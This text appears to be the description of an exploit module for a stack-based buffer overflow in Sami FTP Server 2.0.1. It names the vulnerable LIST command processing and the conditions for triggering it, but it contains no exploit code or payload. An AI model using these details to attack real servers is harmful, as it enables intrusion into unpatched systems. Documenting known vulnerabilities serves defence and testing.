          This module exploits a stack based buffer overflow on Sami FTP Server 2.0.1.
        The vulnerability exists in the processing of LIST commands. In order to trigger
        the vulnerability, the "Log" tab must be viewed in the Sami FTP Server managing
        application, in the target machine. On the other hand, the source IP address used
        to connect with the FTP Server is needed. If the user can't provide it, the module
        will try to resolve it. This module has been tested successfully on Sami FTP Server
        2.0.1 over Windows XP SP3.
